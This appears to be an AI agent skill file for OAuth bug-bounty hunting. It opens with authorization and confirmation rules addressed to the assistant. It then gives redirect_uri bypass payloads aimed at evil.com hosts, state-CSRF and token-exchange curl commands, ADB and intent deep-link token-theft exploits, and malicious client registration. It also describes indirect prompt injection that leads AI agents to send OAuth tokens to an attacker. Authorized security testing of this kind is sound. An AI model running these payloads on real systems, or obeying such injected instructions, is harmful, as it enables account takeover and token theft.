⚠️ AUTHORIZED USE ONLY
This skill is for educational purposes or authorized security assessments only.
You must have explicit, written permission from the system owner before using this tool.
Misuse of this tool is illegal and strictly prohibited.
Mandatory confirmation gate
Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
1. Ask the user to state the exact target URL, IP, account, or resource.
2. Ask the user to confirm written authorization and the permitted scope.
3. Show the exact command(s) and explain their expected effect.
4. Wait for explicit confirmation in the current conversation.
Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
Use only authorized test accounts, exact scoped origins and reversible linking actions. Dynamic registration creates resources and needs explicit scope plus cleanup. Do not claim dangling cloud resources or access third-party identity-provider infrastructure without separate permission. Audience acceptance depends on the intended resource API; a token from another client is not necessarily intended for another audience. Never print live tokens, codes or secrets to terminal history or shared logs.
OAuth vulnerabilities are among the highest-value bug classes in web security because they directly enable account takeover, session theft, and authentication bypass — the trifecta that programs pay most for.
Highest-value targets:
Asset types that pay most:
/oauth/authorize, /connect/authorize)/oauth/token)push_notification_webview, custom scheme URIs)/auth/callback, /oauth/callback)Bounty eligibility and severity depend on the program and demonstrated impact; no payout is established by this guide.
/oauth/authorize
/oauth/token
/connect/authorize
/auth/callback
/oauth/callback
/login?redirect_uri=
/signin?next=
/auth?return_to=
/oauth/redirect
/push_notification_webview
Location: https://accounts.example.com/oauth/...
Set-Cookie: oauth_state=
WWW-Authenticate: Bearer
Content-Type: application/json (with access_token in body)
redirect_uri
client_id
response_type=code
response_type=token
state=
nonce=
oauth_token
access_token
push_notification_webview
deeplink
intent://
intent-filter in AndroidManifest.xml handling http:// or custom scheme URIs.well-known/openid-configuration present = full OIDC surface available/oauth, /connect, /auth, /login paths.well-known/openid-configuration and .well-known/oauth-authorization-serverapktool d app.apk and grep for redirect_uri, intent://, deep link schemesclient_id, redirect_uri, state, nonce, response_typeredirect_uri validation (highest yield)redirect_uri=https://legit.com.evil.comredirect_uri=https://legit.com/callback/../../../evilredirect_uri=https://legit.com&redirect_uri=https://evil.com%2F, %40, %23 to confuse parsersstate parameter (CSRF)state entirely — does the flow complete?state value across sessionsnonce parameter (replay/bypass)/oauth/token directly?Referer headerpush_notification_webview patterns that accept arbitrary URLsclient_secret appears in JS bundles or APK resourcesredirect_uri values when combined with leaked client_id/client_secret# Host confusion
https://evil.com#legit.com
https://legit.com.evil.com
https://legit.com@evil.com
# Path traversal
https://legit.com/oauth/callback/../../redirect?url=https://evil.com
# Open redirect chain (find open redirect on legit domain first)
https://legit.com/logout?next=https://evil.com
# Parameter pollution
?redirect_uri=https://legit.com/cb&redirect_uri=https://evil.com/cb
# URL encoded slashes
https://legit.com%2F@evil.com
https://legit.com%252F..%252F..evil.com
# Step 1: Initiate OAuth flow, capture state value
# Step 2: Drop request, use attacker account's link with victim's session
curl -v "https://target.com/oauth/authorize?client_id=APP&redirect_uri=https://target.com/cb&response_type=code&state=FIXED_VALUE"
# Step 3: Force victim to visit callback with attacker's code + fixed state
https://target.com/oauth/callback?code=ATTACKER_CODE&state=FIXED_VALUE
Use only owned test accounts and an authorized callback receiver. Capture actual outbound browser requests after callback navigation under the site's real Referrer-Policy. A manually forged incoming Referer header does not test outbound leakage. Fragments are excluded from HTTP Referer; query strings may also be removed on cross-origin requests by the browser's policy. Separately inspect JavaScript forwarding through analytics or postMessage. Redact all codes/tokens from reports.
# ADB exploit for push_notification_webview deeplink
adb shell am start -a android.intent.action.VIEW \
-d "target-app://push_notification_webview?url=https://evil.com/steal_oauth"
# Craft intent URI for web-based exploit
<a href="intent://push_notification_webview?url=https://evil.com#Intent;scheme=target-app;package=com.target.app;end">Click</a>
# Test unauthenticated token exchange (skip email verification)
curl -X POST https://target.com/oauth/token \
-d "grant_type=authorization_code" \
-d "code=CAPTURED_CODE" \
-d "client_id=CLIENT_ID" \
-d "redirect_uri=https://legit.com/callback"
# Test with unverified account credentials
curl -X POST https://target.com/oauth/token \
-d "grant_type=password" \
-d "username=unverified@evil.com" \
-d "password=password123" \
-d "client_id=CLIENT_ID"
# In APK/JS files
grep -r "redirect_uri\|client_secret\|oauth_token\|access_token\|push_notification" .
grep -r "intent://\|deeplink\|scheme://" .
# In Burp history
# Filter: URL contains "oauth" OR "token" OR "callback"
# Filter: Response contains "access_token" OR "code=" in Location header
# Check .well-known
curl https://target.com/.well-known/openid-configuration | python3 -m json.tool
# Enumerate OIDC endpoints (esp. registration_endpoint)
curl -s https://idp/.well-known/openid-configuration | jq '{authorization_endpoint, token_endpoint, jwks_uri, registration_endpoint, response_types_supported}'
# If registration_endpoint is open, register a malicious client with attacker redirect_uri
curl -X POST https://idp/connect/register \
-H "Content-Type: application/json" \
-d '{"client_name":"legit-app","redirect_uris":["https://attacker/cb"]}'
# Mint token for client A, attempt replay on client B's API
TOKEN=$(curl -s https://idp/oauth/token \
-d "code=$AUTH_CODE&client_id=CLIENT_A&client_secret=SECRET_A&redirect_uri=https://app-a.com/cb" | jq -r .access_token)
# Test if client B's API accepts the token (no audience validation)
curl https://api.app-b.com/admin -H "Authorization: Bearer $TOKEN"
# Test whether adding prompt=none to authorize request yields a token without user interaction
# Silent authentication can be expected with an existing session/consent; prompt=none success alone is not session fixation or a vulnerability.
curl -v "https://idp/authorize?client_id=APP&redirect_uri=https://app/cb&response_type=code&state=XYZ&prompt=none"
redirect_uri validation — developers whitelist by prefix (startsWith) rather than exact match, or whitelist an entire domain instead of specific paths. A sub-path open redirect on the same domain then becomes a full token theft primitive.state parameter — developers implement OAuth by following basic tutorials that omit CSRF protection, or validate state without secure binding to the initiating session; JavaScript validation alone is not inherently invalid.Referer header.https://*.example.com/*) or don't restrict them at all during development and forget to lock down for production.sub claim ambiguity across identity providers — apps accepting login from multiple IdPs (Google, Microsoft, Apple) may key accounts on sub alone without IdP isolation. If two IdPs emit the same sub for different users, one IdP's attacker hijacks accounts linked to the other IdP.redirect_uri whitelistCheck: True exact matching of a registered callback is not defeated merely by finding another redirect on the same domain. A chain requires that the registered callback itself leak/forward credentials, or a separate URI-validation weakness. Demonstrate each prerequisite.
redirect_uri=https://legit.com/logout?next=https://evil.com
state parameter requiredBypass: Check if state is validated for length/format but not binding to session. Use a fixed predictable state value. Also check if PKCE is enforced — if not, the state check alone is insufficient for code injection.
response_type=token)Bypass: Fragment isn't sent in Referer by browsers, but JavaScript on the callback page may read window.location.hash and pass it to analytics or postMessage to a parent frame. Intercept postMessage handlers.
Bypass: Try URL encoding (https%3A//evil.com), double encoding, Unicode normalization, or null bytes to confuse the validator while the underlying webview still navigates correctly.
Bypass: Referrer leakage and open redirects work even with short-lived codes if the attacker has a fast receiver. For CSRF, the victim completes the flow so timing is less critical.
Bypass: Check if PKCE is required for all clients or only specific ones. Legacy clients or mobile apps may be misconfigured; verify the client-specific policy rather than assuming all client types are identical. Test with code_challenge omitted — issuance of a code alone does not establish bypass. Verify that token exchange succeeds without the required verifier, using owned accounts and the same registered client.
Bypass: Check if nonce is validated client-side in JavaScript only. Intercept and modify the ID token's nonce claim if the signature isn't verified (rare but seen in misconfigured implementations). Also test if nonce is validated on initial request but not on token refresh.
Before writing the report, answer all three:
1. What can the attacker DO right now?
Be specific: "I can send victim a crafted URL → victim clicks → their OAuth code redirects to my server → I exchange code for access token → I am now logged in as victim." If you can't complete this full chain, it may be informational only.
2. What does the victim LOSE?
Minimum bar: victim loses authenticated session (account access). Higher bars: victim loses linked accounts, payment methods, private data. If the attacker only learns the victim's identity without gaining access, severity drops significantly.
3. Can it be reproduced in 10 minutes from scratch?
Open a fresh browser/device with no prior state. A ten-minute replay is a documentation convenience, not a validity criterion. Use two owned accounts, not real victims, and demonstrate only the minimum authorized reversible impact. If it requires lucky timing, specific victim behavior beyond "click a link," or network position, document those dependencies explicitly.
An attacker discovers that the Android app's push notification handler accepts an arbitrary url parameter in its deep link scheme without validating the host. The attacker crafts a malicious URL using the app's custom scheme pointing to their own server. When sent to a victim (via social engineering or a compromised push notification channel), the app opens a WebView navigating to the attacker's server — which then initiates an OAuth flow and captures the OAuth token as it's returned to the "callback" now under attacker control. Result: full account takeover on a payments platform affecting millions of users. Business impact: unauthorized fund transfers, exposure of linked payment methods and transaction history.
A developer creates an account with an unverified email address. Normally the platform blocks full access until email is verified. However, the /oauth/token endpoint performs no verification status check — it only validates credentials. The attacker calls /oauth/token directly with valid (unverified) credentials and receives a fully-scoped OAuth token. This token passes all downstream authorization checks. Result: complete authentication bypass, allowing unverified/disposable email accounts to gain full platform access, undermining the email verification security control entirely. At scale on a platform like GitLab, this affects CI/CD pipeline access, repository access, and API usage.
The OAuth callback page for Facebook login lands users at a URL containing the access_token in the query string. The page includes a language-switcher widget that makes a GET request to change locale preferences. This GET request includes the full page URL as a Referer header — containing the Facebook access token. An attacker who can read server logs (or who compromises the language-change endpoint, or who is a malicious advertiser with pixel access) harvests Facebook OAuth tokens from Referer logs. Result: the attacker can authenticate to the victim's Facebook account and any other service accepting that Facebook token, constituting a cross-platform account takeover. Business impact: GDPR/privacy violation, cross-service account compromise, potential regulatory liability.
The following are imported historical disclosure summaries, not independently verified by this bundle. Check each original writeup before repeating payloads, dates, bounty figures, population exposure or remediation claims. They do not prove a current target is vulnerable.
redirect_uri bypass via Unicode-confusable host (homograph)redirect_uri=https://oauth.šemrush.com/cb (punycode xn--emrush-9jb.com) — passed Latin-only string check on validatorredirect_uri host as ASCII-string equality but does not normalize Unicode → confusables → punycode before compareredirect_uri validation bypass → OAuth token exfiltrationredirect_uri (H1 #1861974)redirect_uri bypass → authorization-code leakageredirect_uri=https://legit.pixiv.host/legit/../../attacker/cb — server normalized after validation../ traversal and emitted code to attacker pathredirect_uri validation bypass via domain-suffix / subdomain confusionslack.com.attacker.com) defeated the suffix-only checkendsWith() / suffix-match instead of strict host equalityresponse_type swap → Facebook OAuth code/token theft → ATOredirect_uri=https://account.booking.com/<open-redirect>?next=https://attacker.tld/cb and response_type toggled to leak tokens via fragmentaccount.booking.com; open redirect on that host bounced the auth code to attackerexpo-auth-session) — CVE-2023-28131 (Salt Labs writeup)returnUrl parameter → cross-app OAuth-code theft (impacts every consumer of expo-auth-session social login)returnUrl=https://attacker.tld to the OAuth proxy → Expo blindly forwards Facebook/Google/Apple/Twitter code to attackerreturnUrl host before forwarding the social-IdP callbackemail claim ("Pass-The-Token" equivalent)mail attribute to victim's address → clicks "Log in with Microsoft" on relying party that keys users by email claim → instant ATOemail claim is mutable + unverified; RPs treated it as primary identifierxms_edov claim)aud validation on Facebook access_token → cross-client token replay → ATOattacker.app → replays the token to Grammarly/Vidio/Bukalapak login API → server fetches FB user via /me, finds victim's email, issues victim session/me with attacker-issued token but never validates the token's app_id belongs to the RPresponse_type=token swap + lax postMessage origin check + cookie-tossing → authorization-code leak via web_message response mode → ATO + cam/mic hijackresponse_type=code&response_mode=web_message, intercepts the resulting postMessage because window listener accepts any *.zoom.us origin → exchanges code for sessionstate, and response_mode=web_message returning code to a parent window without exact-origin enforcementresponse_type=token on an endpoint that only validated code; combines with promiscuous postMessage listeners and URL-storage gadgets on the callback page to siphon tokens via cross-origin readswindow.location via permissive postMessage receiversA server-side prefix-match flaw on redirect_uri is necessary but not sufficient to land the OAuth code on the attacker. The server check passing is one gate; the browser actually navigating cross-origin is another. They behave differently. Always confirm both before writing the finding as a chain → ATO.
Server redirect_uri validator | Attack URL | Server startswith() | Browser actual host | Exploit? |
|---|---|---|---|---|
prefix = https://acme.example (no slash) | https://acme.example@evil.com/cb | passes | evil.com (per WHATWG URL parsing — @ is the userinfo delimiter, BEFORE the first / after ://) | YES |
prefix = https://acme.example/ (trailing slash) | https://acme.example/@evil.com/cb | passes | acme.example (the @ is now AFTER the first /, so WHATWG parses it as a path character) | NO — browser stays on acme.example |
prefix = https://acme.example (substring match) | https://acme.example.evil.com/cb | passes | acme.example.evil.com (subdomain extension — the .evil.com extends the host) | YES |
prefix = https://acme.example/ (trailing slash, server normalizes ..) | https://acme.example/../../@evil.com/cb | passes raw startswith | acme.example (server normalizes path; even if it didn't, browser path-normalizes too) | usually NO |
prefix = https://acme.example/ (Chromium-specific) | https://acme.example/\@evil.com/cb | passes | host depends — Chromium converts \ to / so this becomes https://acme.example//@evil.com/cb and stays on acme.example | usually NO |
Operational rule: the WHATWG URL parser (used by all modern browsers since 2018) does userinfo parsing ONLY in the authority section — i.e., before the first / after ://. Once the path begins, @ is just a character. Server-side string-startswith checks don't model this — they pass URLs the browser will then route to the legitimate host.
Always headless-test (Playwright / Puppeteer / a real browser) the final navigation BEFORE writing the OAuth finding as ATO-chain. Server-side accept + browser-side stay-on-legitimate-host = not ATO. The cited verification document is not bundled here; this review does not establish that those runtime tests ran.
hunt-subdomain — The single highest-impact OAuth chain. Chain primitive: OAuth redirect_uri validator accepts any *.target.com subdomain + recon reveals dev-staging.target.com CNAMEs to a deprovisioned Heroku/S3/Azure app → claim the dangling subdomain → host an OAuth callback receiver there → craft /oauth/authorize?redirect_uri=https://dev-staging.target.com/cb → victim clicks → auth code lands on attacker-claimed subdomain → exchange for token → ATO. The redirect_uri whitelist passed because the subdomain is "legitimately" under target.com control.hunt-ato — OAuth state-CSRF is the textbook ATO-via-account-linking primitive. Chain primitive: state parameter absent or not session-bound + victim is already logged into target.com + attacker initiates OAuth flow from their own account, captures code before exchange + crafts callback URL with attacker's code → forces victim to visit → victim's target.com session is now linked to attacker's Google/Facebook identity → attacker logs in via Google → owns victim's account.hunt-llm-ai — Modern OAuth flows for AI agents (ChatGPT plugins, Claude MCP servers, agentic copilots) reuse OAuth 2.1 + PKCE. Chain primitive: agentic AI accepts redirect_uri from indirect prompt-injection in a document → model crafts OAuth authorize URL with attacker callback → user clicks "approve" thinking it's the agent's own flow → tokens exfiltrated via tool-use to attacker domain.hunt-saml — When OAuth is layered atop a SAML IdP, the IdP-level XSW becomes the OAuth ATO path. Chain primitive: SAML SP that issues OAuth tokens after assertion-validation + XSW attack on the assertion alters NameID to admin user → SP issues OAuth token bearing admin identity → OAuth-scoped APIs grant admin access.security-arsenal — Pull the OAuth redirect_uri Bypass Table (host-confusion legit.com@evil.com, legit.com.evil.com, path-traversal, parameter pollution, encoded-slash %2F, fragment-injection #legit.com) and the open-redirect chain catalog when exact-match validation forces you to find an open-redirect on the whitelisted domain first.triage-validation — Run the Pre-Severity Gate before claiming Critical on an OAuth "open redirect" that doesn't actually leak a token (only the state param, or the callback page doesn't include credentials in URL). Severity depends on the actual trust boundary, privileges, exploit conditions and program rubric. Do not force token exchange beyond authorization merely to satisfy a rating; report the evidence and remaining constraints.triage-validation) before reporting; report via report-writing. Prefer a sandbox, disposable VM, or controlled lab.# Read-only first step; confirm scope before anything active.
cat scope.txt # target list from the authorized engagement brief
Adapted from elementalsouls/Claude-BugHunter (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.